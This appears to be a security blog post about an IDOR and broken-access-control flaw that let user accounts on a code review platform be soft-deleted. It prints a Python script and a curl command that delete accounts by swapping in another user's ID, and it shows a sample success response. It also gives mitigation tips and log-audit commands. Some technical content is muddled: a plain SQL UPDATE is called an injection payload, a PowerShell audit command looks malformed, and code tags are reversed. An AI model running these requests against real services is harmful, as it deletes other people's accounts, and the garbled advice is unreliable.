Exploiting IDOR and BAC Vulnerabilities in Code Review Platforms

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JAI NIRESH J, a Bug Bounty Hunter, discovered a high-severity vulnerability in an upcoming code review platform that allowed unauthorized deletion of user accounts via soft delete. This highlights critical flaws in Broken Access Control (BAC) and Insecure Direct Object Reference (IDOR).

Courses & Resources:

You Should Know:

1. IDOR Exploitation

IDOR occurs when attackers manipulate object references (e.g., user IDs) to access unauthorized data.

Example Exploit (Python):

import requests

target_url = "https://codereviewplatform.com/api/user/delete" 
user_id = 1234  Victim’s ID

headers = {"Authorization": "Bearer YOUR_TOKEN"} 
params = {"user_id": user_id, "soft_delete": "true"}

response = requests.post(target_url, headers=headers, params=params) 
print(response.text)  Check if deletion was successful

Mitigation:

  • Use UUIDs instead of sequential IDs.
  • Implement proper role-based access control (RBAC).

2. Broken Access Control (BAC)

BAC allows attackers to bypass authorization checks.

Testing Command (cURL):

curl -X POST 'https://codereviewplatform.com/admin/delete_user' \ 
-H 'Cookie: session=YOUR_SESSION_COOKIE' \ 
-d 'user_id=5678'

Mitigation:

  • Enforce server-side authorization checks.
  • Use frameworks like OAuth 2.0 or JWT.

3. Database Soft Delete Bypass

Soft delete flags (`is_deleted=1`) can sometimes be reversed.

SQL Injection Payload:

UPDATE users SET is_deleted = 0 WHERE user_id = 1234;

Prevention:

  • Use hard deletes for sensitive actions.
  • Audit logs for UPDATE/DELETE operations.

4. Automated Testing with Burp Suite

  • Use Burp Scanner to detect IDOR/BAC flaws.
  • Replay requests with Burp Repeater to test access controls.

What Undercode Say

This vulnerability underscores the importance of:

  • Input Validation: Sanitize user-controlled IDs.
  • Least Privilege: Restrict `DELETE` permissions.
  • Logging: Monitor suspicious deletion attempts.

Linux Command for Log Analysis:

grep "DELETE /api/user" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c

Windows Command for User Audit:

Get-EventLog -LogName Security -InstanceId 4662 -Message "ObjectType:user"

Prediction

As code review platforms grow, IDOR/BAC flaws will remain a top attack vector. Expect stricter bug bounty programs to enforce real-time exploit detection.

Expected Output:

[/bash]

HTTP/1.1 200 OK

{“status”: “success”, “message”: “User 1234 soft-deleted”}

[bash]

Exploit Success Criteria:
– Unauthorized deletion via manipulated user_id.
– No server-side validation of requester’s permissions.

Next Steps:
– Enroll in the BAC & IDOR Course.
– Practice on platforms like HackerOne or Bugcrowd.

Final Note: Always report vulnerabilities responsibly via official channels. Happy hacking! 🚀

IT/Security Reporter URL:

Reported By: Jainireshj Secured – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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